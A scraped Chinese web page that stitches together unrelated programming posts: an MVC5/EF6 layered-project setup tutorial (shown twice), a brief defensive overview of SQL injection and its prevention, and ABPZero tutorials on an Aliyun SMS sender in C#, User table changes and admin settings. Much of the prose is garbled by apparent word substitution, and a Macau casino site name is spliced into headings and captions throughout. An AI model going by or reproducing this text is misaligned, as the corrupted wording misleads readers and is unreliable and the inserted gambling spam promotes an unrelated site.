诚如一个型起前都见面起启动会,需求交底等等,其中会有一个环,大开口就讲起目的意义,然后抱一个了不起上之类别名字,咱立马是一个略作用谈不达标项目,但是名字不克顶抠门了。好吧,就为Trump吧。没有另外意义,玩嘛!

色分结构吧只要当这边说一下,这次是有点作用学DDD的分模式,一定牢记我说之是模仿。因为我吧无懂DDD,我便画画个皮。

DDD这个事物中文名字应该吃天地让设计,园很多坏神分享过、讲解了。看了无数博客很多书写,依然没尽掌握这么复杂的事物(没有履,纸上得来算觉浅)。这里大概说说自己之明亮,把工作逻辑尽量的汇集在天地层(Domain),如果项目是身,那世界层就是肌体之大脑了,以今天之科技,身上的机件除了大脑基本都可替换。也许可以管大脑易到任何一个人口身上,但是,整个身体要如听大脑的挥。如果人没有了大脑,基本上就是是一滩肉,失去了作为机体的成效。

除此以外作为一个机体,还远远没有达标想电脑那样的低耦合度,所以大部分零部件更换的本钱且颇高。即使是同样大计算机,要转换零件也是一旦考虑到整平台的架等等信息,所以谈到低耦合,可替换的当儿在未是无奈情况下,使用的几乎统领非常有点。

放置项目达之一个例证,比如引入工作单元、仓储层的定义,就是以隔离领域与数持久化,但是的确项目达到线,要替换数据持久化的那无异重合谈何容易。冲项目现有以场景,然后开展技能选型的下,要综合支出效率,开发成本,可扩展性,可维护性等等,并无是啊了不起上就是就此什么,什么概念都使涉及,那样只见面成同集市技术点堆砌而难以实际运用。

按我们这个类别,就是一个聊之成效,现在不过预估的用户量就是若我他,你切莫要以尚从来不达标丝没有成型就考虑百万层用户之恢弘,估计这类型永远都没法上线了。

术没有高低,只有切合不相符!当然,php是极端好之语言,这是人世间真理!

为同样种植领域专家、设计人员、开发人员都能了解的通用语言作为相互交流之家伙,在交流之进程被发觉世界概念,然后以这些概念设计成一个天地模型;
是因为世界模型驱动软件设计,用代码来实现该领域模型;

由此可见,领域让设计之为主是建立是的领域模型

倘详细了解DDD的概念好打开上面的链接,包括下方图片,也是于文章中贴过来的,在是我们只是用他的旁,并没履行DDD。

 

世界让设计的经分层架构

澳门新葡亰官网 1

 

稍许作用的道岔

 

俺们这个小类分四层,分别吗

  • Trump.Domain 主要存放模型,不引用任何项目
  • Trump.EF 实现数据持久化内容,本案被采用EF6,所以这边见面起大量EF
    CRUD实现的操作,依赖Domain项目
  • Trump.Application
    实现数量和UI的相互,经过EF处理的多少以即时同一重合转接为DTO返回到UI层,依赖Domain、EF项目
  • Trump.ExamApp UI层实现,使用MVC5+Web
    Api+jQuery+Bootstrap构建,依赖Domain、Application层。

貌似品种遭到尚会产生一个协助类似的门类,提供有常用方法封装,扩展方法齐,并无作任何类型独有,所以这边就是非列下了。

 

创解决方案以及创造项目(Vs 2017)

来吧来吧,新建空白解决方案,然后上加MVC项目,名字叫Trump.ExamApp,这个非常基础很基础的,只排一下留意点

1.挑ASP.NET Web应用程序.NET Framework
,上面很是风传着的跨平台版本。比较落后,看了几拨视频都是第几聚集。

澳门新葡亰官网 2

2.选项MVC,同时勾选Web
API(不勾选亦足,可以通过Nuget添加),身份验证那里选择无开展身份验证。()

澳门新葡亰官网 3

 

身份验证:

不开展身份验证:不采用net自带的地位管理

个人用户账号:集成Asp.Net Identity v2(.NET Framework澳门新葡亰官网) or v3+(.NET
Core)版本

澳门新葡亰官网 4

3.创立了后要图

澳门新葡亰官网 5

4.用Nuget管理型中的援

于类型达到右键,管理Nuget程序包,移除“Microsoft.ApplicationInsights”。Application
Insights 是不过扩大的应用程序性能管理 (APM) 服务,可让 Web
开发人员在差不多个平台上转移和保管应用。暂时用无交,但是package有某些独,习惯性移除掉,然后就是是升格一下除jQuery外所有的承保。

注意:为兼容性问题,jQuery版本不要管更改

澳门新葡亰官网 6

 

吓了。到者结束,这个类别基本结束,接下去就是按照预定的名创办其他几独品种,选择品种为类库(.NET
Framework)。

 

都创了后,刷新一下,然后变解决方案。把Web项目设置也启动项目,F5起动调试,我们所有项目的官气基本搭建了。

澳门新葡亰官网Web安全系(五):SQL注入(SQL Injection)

简介

  SQL注入攻击指的是经过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的有的做,通过实践SQL语句进而实施攻击者所假设的操作,其要因是次尚未仔细地过滤用户输入的数据,致使非法数据侵入系统。

  根据有关技能原理,SQL注入可以分成平台层注入及代码层注入。前者由不安全的数据库配置或者数据库平台的狐狸尾巴所赋;后者主要是由于程序员对输入未开展密切地过滤,从而执行了地下的数目查询。基于这个,SQL注入的发生原因通常表现在以下几点:

  1.
不当的色处理;

  2.
不安全的数据库配置;

  3.
非成立之查询集处理;

  4.
不当的错误处理;

  5.
转义字符处理不恰当;

  6.
大多单提交处理不当。

 

防止SQL注入

  1.
千古不要相信用户之输入。对用户的输入进行校验,可以通过正则表达式,或限长度;对单引号和双”-“进行换等。

  2.
千古不要用动态拼装sql,可以使参数化的sql或者直接利用存储过程进展数据澳门新葡亰官网查询存取。(不要拼sql,使用参数化)

  3.
世代不要使用管理员权限的数据库连接,为每个应用使用单独的权有限的数据库连接。(给程序分配合理之数据库操作权限)

  4.
不要拿机密信息直接存放,加密抑或hash掉密码和机智的信息。(敏感信息加密)

  5.
用之酷信息应该吃出尽可能少的提示,最好用自定义之错误信息对老错误信息进行包装。

 

文章转载自:http://www.cnblogs.com/Erik_Xu/p/5514879.html

为此MVC5+EF6+WebApi 做一个略带作用(三) 项目搭建

相似一个档初步前都见面出启动会,需求交底等等,其中会发一个环,大称就讲起目的意义,然后取一个高大上之类型名字,咱立刻是一个粗作用谈不齐型,但是名字不克最好小气了。好吧,就深受Trump吧。没有其他意义,玩嘛!

列分结构吧要是当此处说一下,这次是有些作用学DDD的分支模式,一定记住自己说之是拟。因为自身为无懂DDD,我哪怕打个皮。

DDD这个东西中文名字应该被天地让设计,园子很多杀神分享过、讲解了。看了重重博客很多开,依然没有太明了这么复杂的东西(没有实施,纸上得来算觉浅)。这里大概说说好之领悟,把作业逻辑尽量的集中在圈子层(Domain),如果项目是真身,那世界层即是身体的大脑了,以本的科技,身上的组件除了大脑基本都可替换。也许可以把大脑易到另外一个人口身上,但是,整个身体要如听大脑的挥。如果人尚未了大脑,基本上就是是一滩肉,失去了当机体的功用。

此外当一个机体,还远远没高达想电脑那样的低耦合度,所以大部分零部件更换的资本还很高。即使是平台电脑,要更换零件也是只要考虑到整体平台的架等等信息,所以说到低耦合,可替换的当儿在未是无奈情况下,使用的几带领大粗。

坐项目落得之一个例证,比如引入工作单元、仓储层的概念,就是以隔离领域及数码持久化,但是真项目达丝,要替换数据持久化的那么同样交汇谈何容易。依据项目现有以场景,然后进行技术选型的时段,要综合开发效率,开发成本,可扩展性,可维护性等等,并无是呀惊天动地上即因故什么,什么概念都要干,那样才见面化同集技术点堆砌而难以实际使用。

遵循我们是项目,就是一个微之效能,现在而预估的用户量就是您本人他,你无要当还未曾上线没有成型就考虑百万级用户的扩充,估计这个类别永远都没法上丝了。

技巧尚未好坏,只有切合不吻合!当然,php是极致好之言语,这是人间真理!

为同样栽领域专家、设计人员、开发人员都能掌握的通用语言作为相互交流之家伙,在交流之进程被发觉世界概念,然后以这些概念设计成一个天地模型;
出于世界模型驱动软件设计,用代码来实现该领域模型;

有鉴于此,领域让设计的基本是起科学的天地模型

假定详细询问DDD的定义可以打开上面的链接,包括下方图片,也是于文章被贴过来的,在是我们只是用外的分段,并没实施DDD。

 

领域让设计的经文分层架构

个人档案 1

 

稍稍作用的旁

 

咱俩是略带项目分四层,分别吗

  • Trump.Domain 主要存放在模型,不引用任何类型
  • Trump.EF 实现多少持久化内容,本案中使EF6,所以这边会出大量EF
    CRUD实现之操作,依赖Domain项目
  • Trump.Application
    实现数据及UI的并行,经过EF处理的多少以马上无异于重叠转接为DTO返回到UI层,依赖Domain、EF项目
  • Trump.ExamApp UI层实现,使用MVC5+Web
    Api+jQuery+Bootstrap构建,依赖Domain、Application层。

相似品种蒙尚见面来一个帮忙类似的品种,提供有常用方法封装,扩展方法齐,并无当作其他类型独有,所以这边就非列下了。

 

创解决方案以及创造项目(Vs 2017)

来吧来吧,新建空白解决方案,然后上加MVC项目,名字给Trump.ExamApp,这个老基础非常基础之,只排一下小心点

1.选项ASP.NET Web应用程序.NET Framework
,上面十分是传说个人档案被之跨平台版本。比较滞后,看了几乎掉视频还是第几集。

个人档案 2

2.摘取MVC,同时勾选Web
API(不勾选亦足,可以通过Nuget添加),身份验证那里选择无开展身份验证。()

个人档案 3

 

身份验证:

匪开展身份验证:不采用net自带的身价管理

个人用户账号:集成Asp.Net Identity v2(.NET Framework) or v3+(.NET
Core)版本

个人档案 4

3.创立了后一旦图

个人档案 5

4.运Nuget管理型中的援

以项目达成右键,管理Nuget程序包,移除“Microsoft.ApplicationInsights”。Application
Insights 是只是扩大的应用程序性能管理 (APM) 服务,可被 Web
开发人员在多独平台及转变与治本采用。暂时用不至,但是package有几许只,习惯性移除掉,然后便是升级一下除了jQuery外所有的保证。

注意:坐兼容性问题,jQuery版本不要随便更改

个人档案 6

 

哼了。到这结束,这个路为主竣工,接下去便遵循预约的名字创办其他几只类别,选择项目为类库(.NET
Framework)。

 

还创造了后,刷新一下,然后转解决方案。把Web项目安装为启动项目,F5起先调试,我们任何项目的派头基本搭建了。

4、ABPZero系列教程之拼多多卖家工具 集成短信发送模块

  ABPZero并不曾手机短信发送功能,现在我们来拼一个,为后面注册、登录作铺垫。

阿里云短信服务

率先需以阿里云开展短信服务,总是地址

开展后,在签约管理面临补充加一个签名

澳门新葡亰官网 1

于模板管理遭补充加一个模板,如下图所示

澳门新葡亰官网 2

末了得采用阿里云提供的.NET发送短信类库,下面可以直接生充斥自上传的类库,也可去官方下载,然后取本人所说之2个类库(aliyun-net-sdk-core.dll、aliyun-net-sdk-dysmsapi.dll)

直接下载文件:https://files.cnblogs.com/files/shensigzs/aliyun-net-sdk.zip (里面含有2独类库,把当时2个类库引用到Core项目)

.NET发送短信SDK:https://help.aliyun.com/document\_detail/59836.html?spm=5176.doc55284.6.573.GaNxg6

安装类库

一般来说图所示

采用的模块是Abp.Net.Sms,源码地址:https://github.com/berkaroad/Abp.Net.Sms

澳门新葡亰官网 3

 

Core项目增长实现

添加AliDayuSmsSender类,实现2单主意(一个合办、一个异步)

文本路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Core\Authorization\Users\AliDayuSmsSender.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Abp.Dependency;
using Abp.Net.Sms;
using Abp.UI;
using Aliyun.Acs.Core;
using Aliyun.Acs.Core.Exceptions;
using Aliyun.Acs.Core.Profile;
using Aliyun.Acs.Dysmsapi.Model.V20170525;
using Castle.Core.Logging;

namespace MyCompanyName.AbpZeroTemplate.Authorization.Users
{
    public class AliDayuSmsSender : SmsSenderBase, ITransientDependency
    {
        private IClientProfile profile = null;
        public ILogger Logger { get; set; }
        public AliDayuSmsSender(ISmsSenderConfiguration configuration) : base(configuration)
        {
            Logger = NullLogger.Instance;
            profile = DefaultProfile.GetProfile("cn-hangzhou", configuration.GetAppKey(), configuration.GetAppSecret());
        }

        protected override void SendSms(SmsMessage sms)
        {

            DefaultProfile.AddEndpoint("cn-hangzhou", "cn-hangzhou", "Dysmsapi", "dysmsapi.aliyuncs.com");
            IAcsClient acsClient = new DefaultAcsClient(profile);
            SendSmsRequest request = new SendSmsRequest();
            try
            {
                //必填:待发送手机号。支持以逗号分隔的形式进行批量调用,批量上限为1000个手机号码,批量调用相对于单条调用及时性稍有延迟,验证码类型的短信推荐使用单条调用的方式
                request.PhoneNumbers = sms.To;
                //必填:短信签名-可在短信控制台中找到
                request.SignName = sms.FreeSignName;
                //必填:短信模板-可在短信控制台中找到
                request.TemplateCode = string.IsNullOrEmpty(sms.TemplateCode)
                    ? _configuration.GetDefaultSmsTemplateCode()
                    : sms.TemplateCode;
                //可选:模板中的变量替换JSON串,如模板内容为"亲爱的${name},您的验证码为${code}"时,此处的值为
                request.TemplateParam = sms.TemplateParams;
                //可选:outId为提供给业务方扩展字段,最终在短信回执消息中将此值带回给调用者
                //request.OutId = "yourOutId";
                //请求失败这里会抛ClientException异常
                SendSmsResponse sendSmsResponse = acsClient.GetAcsResponse(request);
                Logger.Info("发送返回:" + sendSmsResponse.Message);
            }
            catch (ServerException e)
            {
                throw new UserFriendlyException("短信发送失败",
                    new Exception(string.Format("to:{0},errCode:{1},errMsg:{2}",
                        sms.To,
                        e.ErrorCode,
                        e.Message)));
            }
            catch (ClientException e)
            {
                throw new UserFriendlyException("短信发送失败",
                    new Exception(string.Format("to:{0},errCode:{1},errMsg:{2}",
                        sms.To,
                        e.ErrorCode,
                        e.Message)));
            }

        }

        protected override Task SendSmsAsync(SmsMessage sms)
        {
            DefaultProfile.AddEndpoint("cn-hangzhou", "cn-hangzhou", "Dysmsapi", "dysmsapi.aliyuncs.com");
            var task = new Task(() =>
            {
                IAcsClient acsClient = new DefaultAcsClient(profile);
                SendSmsRequest request = new SendSmsRequest();
                try
                {
                    //必填:待发送手机号。支持以逗号分隔的形式进行批量调用,批量上限为1000个手机号码,批量调用相对于单条调用及时性稍有延迟,验证码类型的短信推荐使用单条调用的方式
                    request.PhoneNumbers = sms.To;
                    //必填:短信签名-可在短信控制台中找到
                    request.SignName = sms.FreeSignName;
                    //必填:短信模板-可在短信控制台中找到
                    request.TemplateCode = string.IsNullOrEmpty(sms.TemplateCode)
                        ? _configuration.GetDefaultSmsTemplateCode()
                        : sms.TemplateCode;
                    //可选:模板中的变量替换JSON串,如模板内容为"亲爱的${name},您的验证码为${code}"时,此处的值为
                    request.TemplateParam = sms.TemplateParams;
                    //可选:outId为提供给业务方扩展字段,最终在短信回执消息中将此值带回给调用者
                    //request.OutId = "yourOutId";
                    //请求失败这里会抛ClientException异常
                    SendSmsResponse sendSmsResponse = acsClient.GetAcsResponse(request);
                    Logger.Info("发送返回:" + sendSmsResponse.Message);
                }
                catch (ServerException e)
                {
                    throw new UserFriendlyException("短信发送失败",
                        new Exception(string.Format("to:{0},errCode:{1},errMsg:{2}",
                            sms.To,
                            e.ErrorCode,
                            e.Message)));
                }
                catch (ClientException e)
                {
                    throw new UserFriendlyException("短信发送失败",
                        new Exception(string.Format("to:{0},errCode:{1},errMsg:{2}",
                            sms.To,
                            e.ErrorCode,
                            e.Message)));
                }
            });


            task.Start();
            return task;
        }
    }
}

 

 

修改AppSettingProvider.cs,在return new[]里长如下代码

文本路径:D:\abpweb\PddSellerAssistant\PddSellerAssistant.Core\Configuration\AppSettingProvider.cs

return new[]
                   {
                        // Sms config
                        new SettingDefinition(SmsSettingNames.ServiceUrl,
                            ConfigurationManager.AppSettings[SmsSettingNames.ServiceUrl] ?? ""),
                        new SettingDefinition(SmsSettingNames.AppKey,
                            ConfigurationManager.AppSettings[SmsSettingNames.AppKey] ?? ""),
                        new SettingDefinition(SmsSettingNames.AppSecret,
                            ConfigurationManager.AppSettings[SmsSettingNames.AppSecret] ?? ""),
                        new SettingDefinition(SmsSettingNames.DefaultFreeSignName,
                            ConfigurationManager.AppSettings[SmsSettingNames.DefaultFreeSignName] ?? ""),
                        new SettingDefinition(SmsSettingNames.DefaultSmsTemplateCode,
                            ConfigurationManager.AppSettings[SmsSettingNames.DefaultSmsTemplateCode] ?? ""),
                       //Host settings

 

 修改web.config,添加如下配置节点

 <!-- 短信api配置开始-->
    <add key="Abp.Net.Sms.AppKey" value="" />
    <add key="Abp.Net.Sms.AppSecret" value="" />
    <add key="Abp.Net.Sms.DefaultFreeSignName" value="填写签名名称" />
    <add key="Abp.Net.Sms.DefaultSmsTemplateCode" value="填写模板ID" />
    <add key="Abp.Net.Sms.ServiceUrl" value="" />
    <!-- 短信api配置结束-->

 

 AppKey、AppSecret都好当阿里云后台获取

 

 修改AbpZeroTemplateCoreModule,代码修改如下

 文件路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Core\AbpZeroTemplateCoreModule.cs

 

if (DebugHelper.IsDebug)
            {
                //调试模式禁用邮件发送
                //IocManager.Register<IEmailSender, NullEmailSender>(DependencyLifeStyle.Transient);
                //调试模式禁用手机短信发送
                //IocManager.Register<ISmsSender, NullSmsSender>(DependencyLifeStyle.Transient);
            }

 

 可以见到我还统统注掉,因为自不怕使以调试模式下测试邮件、短信是否能发送。

 

[DependsOn(typeof(AbpZeroCoreModule),
       typeof(AbpZeroLdapModule),
       typeof(AbpAutoMapperModule),
       typeof(AbpNetSmsModule)
       )]

 

 此处是长短信模块依赖

Application项目

增长文件ISmsMessageService.cs

 文件路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Application\Authorization\Users\ISmsMessageService.cs

 

public interface ISmsMessageService : IApplicationService
    {
        void Send(string to, string templateCode, string templateParams);
        Task SendAsync(string to, string templateCode, string templateParams);
    }

 

 

再次补充加实现文件SmsMessageService.cs

文件路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Application\Authorization\Users\SmsMessageService.cs

public class SmsMessageService: ISmsMessageService
    {
        private readonly ISmsSender _smsSender;

        public SmsMessageService(ISmsSender smsSender)
        {
            _smsSender = smsSender;
        }

        public void Send(string to, string templateCode, string templateParams)
        {
            _smsSender.Send(to, templateCode, templateParams);
        }

        public async Task SendAsync(string to, string templateCode, string templateParams)
        {
            await _smsSender.SendAsync(to, templateCode, templateParams);
        }
    }

 

 测试短信发送

末,生成项目

浏览器打开:http://localhost:8088/swagger/ui/index(8088是IIS配置的端口)

找到app_smsMessageService服务进行测试

澳门新葡亰官网 4

 

澳门新葡亰官网 5

 

联合、异常且测试通过,至此手机短信发送模块并完成。

 

返回总目录

 

澳门新葡亰官网5、ABPZero系列教程之拼多多卖家工具 修改User表结构

  毕竟这框架是外人开之,对于我们国人来说要有些地方并无正好,就吓照注册时需填名字、姓氏一样,今天设说的即是什么错过丢这2个字段。

先期看如下修改完的机能图

澳门新葡亰官网 1

 

User表结构修改

修改User类,添加如下代码:

文本路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Core\Authorization\Users\User.cs

//Can add application specific user properties here
        private new string Name { get; set; }

        private new string Surname { get; set; }

        [Required(AllowEmptyStrings = true)]
        public override string EmailAddress { get; set; }

 

修改AbpZeroTemplateDbContext.cs类,添加OnModelCreating方法,代码如下

文本路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.EntityFramework\EntityFramework\AbpZeroTemplateDbContext.cs

protected override void OnModelCreating(DbModelBuilder modelBuilder)
        {
            base.OnModelCreating(modelBuilder);

            modelBuilder.Entity<User>().Ignore(a => a.Name);
            modelBuilder.Entity<User>().Ignore(a => a.Surname);

            modelBuilder.Entity<User>().Property(a => a.EmailAddress).IsOptional();
        }

 

蒙面措施‘OnModelCreating’,然后将Name和SurName设置为忽略。
然后用EmailAddress设置也可空。

 

履迁移

开拓VS的管管理控制台,并在承保管理控制台被选择 .EntityFramework
项目作默认项目。然后于控制台中履行下发号施令:

Add-Migration "Renamed_NameAndSurnameAndEmailAddress_To_User"

 

施行成功后,再履行以下命令:

Update-Database

 

这User表结构就转移,去丢了Name、Surname、EmailAddress(已经化为可空)

澳门新葡亰官网 2

 

迄今为止,User表结构修改完成。

 

回到总目录

 

6、ABPZero系列教程之拼多多卖家工具 框架后台的装

  就上篇稿子,现在去修改注册登录逻辑代码还为时尚早,我们尚索要到后台去装有些部署。

管理—设置

澳门新葡亰官网 1

 

澳门新葡亰官网 2

 

先期配备好马上2宗设置,邮箱配置是为着说明注册时效果是否正规,下一致篇稿子用因此到。

流淌:邮箱配置中的密码并无是QQ密码,而是在QQ邮箱中变化的授权码,具体获取请登录QQ邮箱查看

 

语言翻译

澳门新葡亰官网 3

进入后台可看看围出这些单词,我们的语言就设置为简体中文,但局部地方并未中文出现,可能作者还未曾赶趟更新语言文件,只得我们和好失去完善了。

此间我因为“[Appearance]”为条例,其它翻译为此类推即可。

开辟AbpZeroTemplate.xml语言文件,搜索:“Appearance”

文件路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Core\Localization\AbpZeroTemplate\AbpZeroTemplate.xml

<text name="Appearance">Appearance</text>

 

在押对应的情是呀意思,英文好之足翻得更好,我只好借助翻译工具,这里自己翻译出是“外观”的意。

 

接下来打开AbpZeroTemplate-zh-CN.xml语言文件,同样招来:“Appearance”,如果没找到,就当文件末尾添加这个键值对。

文件路径:D:\abp
version\aspnet-zero-3.4.0\aspnet-zero-3.4.0\src\MyCompanyName.AbpZeroTemplate.Core\Localization\AbpZeroTemplate\AbpZeroTemplate-zh-CN.xml

<text name="Appearance">外观</text>

 

 

终极,保存生成项目,浏览器访问,可以见到”[Appearance]“已经变成”外观“,其它翻译重复是步骤即可。

 

回来总目录

 

网站地图xml地图